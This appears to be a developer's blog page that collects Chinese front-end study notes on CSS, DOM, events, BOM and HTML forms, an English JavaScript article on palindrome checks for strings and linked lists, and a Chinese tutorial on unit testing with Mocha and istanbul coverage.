[overflow](https://developer.mozilla.org/en-US/docs/Web/CSS/overflow): hidden
white-space: nowrap

width/height

  • 块级元素的默认width是auto, 撑满整行, 默认height是由内容决定的。
  • 百分比是相对父级元素
  • 行级元素设置宽高无效。修改display为inline-block
  • max-width/min-width/max-height/min-height
  • width/height设置的是content-box的大小。通过box-sizing: border-box可以设置border-box的宽高

padding/margin/border

  • 所有元素(inline + block)都有盒模型,都可以设置padding/margin/border
  • background-color不会覆盖到margin
  • 设置inline元素的padding跟margin只有左(left)右(right)方式有效果
  • margin合并: 相邻元素或者(父元素与第一个/最后一个子元素)margin会合并(i.e. 取最大值)

background-image

  • 可以同时设置多个background-image, 可以叠加. e.g. background-image: url(red.png), url(blue.png);
  • background-repeat
  • background-attachment
  • linear-gradient: 创建一个表示颜色线性渐变的
  • background-position. 百分比的时候是背景图的百分比点跟参照物的百分比对应。center center居中。position(定位)是相对于边缘!
  • background-position默认是相对于padding-box, 可通过background-origin修改
  • background-clip: 元素的背景(背景图片或颜色)是否延伸到边框下面
  • background-size
    • cover: 缩放背景图片以完全覆盖背景区,可能背景图片部分看不见。尽可能的小, 最小的宽/高不能小于容器的宽/高
    • contain: 缩放背景图片以完全装入背景区,可能背景区部分空白。尽可能的大, 最大的宽/高不能大于容器的宽/高

position

  • relative
    • 不脱离文档流
    • 参照物为自身
  • absolute
    • 默认宽度为内容宽度
    • 脱离文档流
    • 参照物为第一个定位祖先/根元素(html)
  • fixed
    • 默认宽度为内容宽度
    • 脱离文档流
    • 参照物为视窗
  • 设置位置, 只对定位元素有效
    • z-index
    • top/right/bottom/left - 元素边缘距离参数边缘的距离

float

  • 默认宽度为内容宽度
  • 半脱离文档流(对元素,脱离文档流;对内容,在文档流)
  • 向指定方向一直移动
  • clear - 应用于后续元素跟块级元素

flex

  • 参考文章: Flex 布局教程:语法篇, Flex 布局教程:实例篇
  • 容器(flex container)属性
  • 项目(flex item)属性
    • order: 定义项目的排列顺序。数值越小,排列越靠前,默认为0
    • flex-grow: 定义项目的放大比例,默认为0,即如果存在剩余空间,也不放大
    • flex-shrink: 定义了项目的缩小比例,默认为1,即如果空间不足,该项目将缩小
    • flex-basis: 定义了在分配多余空间之前,项目占据的主轴空间(main size)。浏览器根据这个属性,计算主轴是否有多余空间。它的默认值为auto,即项目的本来大小
    • flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ]
    • align-self: 允许单个项目有与其他项目不一样的对齐方式,可覆盖align-items属性。默认值为auto,表示继承父元素的align-items属性,如果没有父元素,则等同于stretch

transform

DOM

节点操作

插入节点

删除节点

属性操作

  • 属性访问器. HTML attribute -> DOM property
  • (g|s)etAttribute
  • dataset

样式操作

事件

事件注册

  • eventTarget.addEventListener(type, listener[, useCapture])
  • eventTarget.attachEvent('on' + type, listener)

取消事件注册

  • eventTarget.removeEventListener(type, listener[, useCapture])
  • eventTarget.detachEvent('on' + type, listener)

事件触发

  • eventTarget.dispatchEvent(type)
  • fireEvent

事件对象(event)

  • event = event | window.event
  • type
  • target|srcElement
  • currentTarget - 当前处理函数的节点
  • stopPropagation | cancelBubble = true
  • preventDefault | returnValue = false

事件分类

  • Event (load-不会冒泡|unload-不会冒泡|error|select|abort)
    • UIEvent (resize-不会冒泡|scroll)
      • FocusEvent(blur-不会冒泡|focus-不会冒泡|focusin-会冒泡|focusout-不会冒泡)
      • InputEvent(input|beforeinput)
      • KeyboardEvent(keydown|keyup)
      • MouseEvent(click|mousedown|mouseenter|mouseover|mouseup...)

事件代理

数据通信

HTTP

  • 头行 (e.g. GET music.163.com HTTP/1.1)
  • 头部 (Accept|Cache-Control|Host|User-Agent...)
  • 主体

Ajax

  • XHR - readyState, status, responseText
  • open
  • setRequestHeader
  • send

数据储存

cookie

Storage - 只支持字符串

* localStoage
* sessionStoage

BOM

navigator - 浏览器信息

  • userAgent

location - 浏览器定位和导航

  • hostname
  • href - 当前访问资源完整路径
  • pathname
  • protocol
  • search - 查询参数,包括?
  • hash - 锚点
  • reload(url) - 重载当前页
  • assign(url) - 载入新的url, 记录历史
  • replace(url) - 载入新的url, 不记录历史

history - 浏览器当前窗口的浏览历史

  • back()
  • forward()
  • go()

screen - 屏幕信息

表单操作

元素

form

  • name - 可通过document.forms.${name} 访问到表单
  • method
  • autocomplete
  • action
  • enctype
  • elements - 动态节点集合
  • reset()
  • submit() - onsubmit
  • checkValidity

label

  • for - htmlFor - 关联表单控件的激活行为
  • form - 关联归属表单

input

  • form
  • type: reset|submit|button|text|tel|password|radio|checkbox|date
  • accept
  • multiple
  • readonly
  • disabled

select

  • name
  • value
  • multiple
  • options
  • selectedOptions
  • selectedIndex

option

  • value
  • text
  • index
  • selected
  • defaultSelected

textare

  • name
  • value
  • select();
  • selectionStart
  • selectionEnd
  • selectionDirection
  • setSelectionRange(start, end[, direction])
  • setRangeText(replacement[, start, end[, mode]])

验证

element.

  • willValidate
  • checkValidity()
  • validity
  • validationMessage
  • setCustomValidity(message)

提交

  • enctype
        <form method="post" action="http://localhost:8088/" enctype="application/x-www-form-urlencoded">
            <input type="text" name="a">
            <input type="text" name="b">
            <input type="submit">
        </form>
    • application/x-www-form-urlencoded
      a=a&b=b
    • text/plain
      a=a
      b=b
    • multipart/form-data
      ------WebKitFormBoundaryeaQMPBoS7t1agiqa
      Content-Disposition: form-data; name="a"
      
      a
      ------WebKitFormBoundaryeaQMPBoS7t1agiqa
      Content-Disposition: form-data; name="b"
      
      b
      ------WebKitFormBoundaryeaQMPBoS7t1agiqa--
    • application/json
      {"a":"a","b":"b"}
  • submit
  • onsubmit
    • 表单提交事件
    • 提交之前的数据验证
    • 阻止事件的默认行为可取消表单提交

An efficient way to check linked list for palindrome

Background

A palindrome is a word, phrase, number or sequence of words that reads the same backwards as forwards.

E.g. aba is a palindrome while abc is not.

Q1. how to check whether a string is a palindrome

String in javascript works almost the same as Array. It wouldn't be trival to check for palindrome with the help of build-in Array utility support.

  • With iteration

Idea: one pointer from the beginning and another pointer from the end, move both pointers towards the center and compare the values along the way

function isPalindrome(str) {
  const len = str.length;
  for(let i = 0; i < len / 2; i++) {
    if (str[i] !== str[len - i - 1]) {
      return false;
    }
  }
  return true;
}

console.log(isPalindrome('a')); // true
console.log(isPalindrome('ab')); // false
console.log(isPalindrome('aba')); // true
console.log(isPalindrome('abcba')); // true
console.log(isPalindrome('abcda')); // false
console.log(isPalindrome('abccba')); // true
  • With recursion

Similar to the solution above but implemented in recursive way.

function isPalindromeRecursive(str) {
  const len = str.length;
  if (len === 0 || len === 1) {
    return true;
  }
  return str[0] === str[len - 1] && isPalindromeRecursive(str.slice(1, len - 1))
}


console.log(isPalindromeRecursive('a')); // true
console.log(isPalindromeRecursive('ab')); // false
console.log(isPalindromeRecursive('aba')); // true
console.log(isPalindromeRecursive('abcba')); // true
console.log(isPalindromeRecursive('abcda')); // false
console.log(isPalindromeRecursive('abccba')); // true

What if the string is in a singly linked list format ?

A linked list consists of nodes where each node contains a data field and a reference(link) to the next node in the list

linkedlist

With singly linked list, only the head node of the linked list is available and the only way to visit a specific node is by traversing from head with next pointer up to the node. The main point for checking palindrome is to find the node in the center. Basically this can be achieved by having two pointers go from head, one moves two steps forward and the other one step forward until the faster one reaches the end. Also, we build a previous link as the slower pointer moves towards the center. E.g.

list: A -> B -> C -> null/end

Step 1. Both pointers at A
Step 2. Slower pointer moves to B, build previous link (i.e. B.prev = A). Faster pointer moves to B then to C
Step 3. Faster pointer is at then end (C.next == null).
Step 4. Center pointer is at B (i.e. where slow pointer is). NOTE: where center is depends on the parity of the number of nodes
Step 5. Move slower pointer forward and center pointer backend, check the equality of the value. If value is not the same, not a palindrome.
Step 6. Slow pointer successfully reaches the end => is a palindrome.

class LinkedListNode {
  constructor(char, next) {
    this.value = char;
    this.next = next;
  }
}

class LinkedList {
  constructor(chars) {
    const len = chars.length;
    let currentNode = null;
    for (let i = len - 1; i >= 0; i--) {
      let node = new LinkedListNode(chars[i], currentNode);
      currentNode = node;
    }
    this.head = currentNode;
  }

  isPalindrome() {
    let center, slow, quick;
    center = slow = quick = this.head;
    if (slow.next == null) {
      return true;
    }
    while(quick.next != null) {
      slow = slow.next;
      slow.prev = center;
      center = slow
      quick = quick.next
      if (quick.next == null) {
        // even number
        center = slow.prev;
      } else {
        quick = quick.next;
      }
    }
    do {
      if(slow.value !== center.value) {
        return false;
      }
      slow = slow.next;
      center = center.prev;
    } while(slow != null) 
    return true;
  }
}

console.log(new LinkedList(['a']).isPalindrome()); // true
console.log(new LinkedList(['a', 'b']).isPalindrome()); // false
console.log(new LinkedList(['a', 'b', 'a']).isPalindrome()); // true
console.log(new LinkedList(['a', 'b', 'c', 'b', 'a']).isPalindrome()); // true
console.log(new LinkedList(['a', 'b', 'c', 'd', 'a']).isPalindrome()); // false
console.log(new LinkedList(['a','b','c', 'c', 'b', 'a']).isPalindrome()); // true

Resource

Code Sample

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

教练我要写单元测试

为什么要写单元测试

  • 添加新功能或者重构时保证现有功能是可用的
  • 测试是最好的文档
  • 测试降低前后端交流成本(减少联调时出现的bugs)
  • 测试促使开发人员思考程序设计
  • 测试很有趣
  • 。。。。。(此处省略1万行)

怎么用Mocha(摩卡)写测试

首先先安装下Mocha

npm install mocha -g

同步方法的测试

假设我们有一个trim的方法.

// trim.js
'use strict';

/**
 * Trim whitespace from the beginning and end of a string
 * @param {String} str - string to be trimed
 * @returns {String}
 */
function trim(str) {
    if (typeof str !== 'string') {
        throw new Error(`str is not string`);
    }
    return str.replace(/^\s+|\s+$/g, '');
}

module.exports = trim;

我们可以写一个test.js来测试trim方法.

'use strict';

let trim = require('trim'); //引入上面的trim.js
let should = require('should'); //引入should断言库,用来判断源码的实际执行结果与预期结果是否一致

describe('string trim', () => {
    it('trim string with no spaces at beginning and end', () => {
        trim('hello world').should.be.eql('hello world');
    });

    it('trim string with space(s) at beginning', () => {
        trim('  hello world').should.be.eql('hello world');
    });

    it('trim string with tab(s) at beginning', () => {
        trim('\thello world').should.be.eql('hello world');
    });

    it('trim string with new line(s) at beginning', () => {
        trim('\nhello world').should.be.eql('hello world');
    });

    it('trim string with space(s) at beginning', () => {
        trim('hello world  ').should.be.eql('hello world');
    });

    it('trim string with tab(s) at beginning', () => {
        trim('hello world\t').should.be.eql('hello world');
    });

    it('trim string with new line(s) at beginning', () => {
        trim('hello world\n').should.be.eql('hello world');
    });

    it('trim string with spaces/tabs/new lines at beginning and end', () => {
        trim(' \t\nhello world \t\n').should.be.eql('hello world');
    });
});

然后通过运行以下命令即可对trim方法进行测试:

mocha test.js

结果:

string trim
    ✓ trim string with no spaces at beginning and end
    ✓ trim string with space(s) at beginning
    ✓ trim string with tab(s) at beginning
    ✓ trim string with new line(s) at beginning
    ✓ trim string with space(s) at beginning
    ✓ trim string with tab(s) at beginning
    ✓ trim string with new line(s) at beginning
    ✓ trim string with spaces/tabs/new lines at beginning and end

8 passing (12ms)

异步方法的测试

异步方法的测试只需要在你的测试结束时调用回调函数即可。通过给it()添加回调函数可以告知Mocha需要等待异步测试结束。

'use strict';

let should = require('should');

describe('Async', function(){
    it("Async successful with done", function(done){
        setTimeout(function() {
            done();
        }, 200);
    });

    //如果要标志异步测试失败的话,可以通过给回调函数传递一个Error实例或者字符串
    it("Async failure with done", function(done){
        setTimeout(function() {
            done(new Error("This is a sample failing async test"));
        }, 200);
    });

    //也可以直接返回promise
    it("Async without done", function() {
        let testPromise = new Promise(function(resolve, reject) {
            setTimeout(function() {
                resolve("Hello!");
            }, 200);
        });

        return testPromise.then(function(result) {
            return result.should.be.equal("Hello!");
        });
    });
});

运行改解释脚本结果为:

Async
    ✓ Async successful with done (206ms)
    1) Async failure with done
    ✓ Async without done (209ms)


  2 passing (629ms)
  1 failing

  1) Async Async failure with done:
     Error: This is a sample failing async test
      at null._onTimeout (test.js:14:50)

怎么用istanbul测试覆盖率

首先先安装下istanbul

npm install istanbul -g

然后用istanbul跑测试文件.

istanbul cover _mocha test.js

运行结果如下:

string trim
    ✓ trim string with no spaces at beginning and end
    ✓ trim string with space(s) at beginning
    ✓ trim string with tab(s) at beginning
    ✓ trim string with new line(s) at beginning
    ✓ trim string with space(s) at beginning
    ✓ trim string with tab(s) at beginning
    ✓ trim string with new line(s) at beginning
    ✓ trim string with spaces/tabs/new lines at beginning and end

8 passing (10ms)

=============================================================================
Writing coverage object [/path/to/test/coverage/dir/coverage.json]
Writing coverage reports at [/path/to/test/coverage/dir/coverage]
=============================================================================

=============================== Coverage summary ===============================
Statements   : 100% ( 18/18 )
Branches     : 100% ( 0/0 )
Functions    : 100% ( 0/0 )
Lines        : 100% ( 18/18 )
================================================================================

这条命令同时还生成了一个 coverage 子目录,其中的 coverage.json 文件包含覆盖率的原始数据,coverage/lcov-report 是可以在浏览器打开的覆盖率报告,其中有详细信息,到底哪些代码没有覆盖到。

动态测试

'use strict';

let mocha = new (require('mocha'))();
mocha.addFile('trim.js');

mocha.run(function(err) {
    process.on('exit', function() {
        process.exit(err);
    });
});

相关资料

示例链接

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.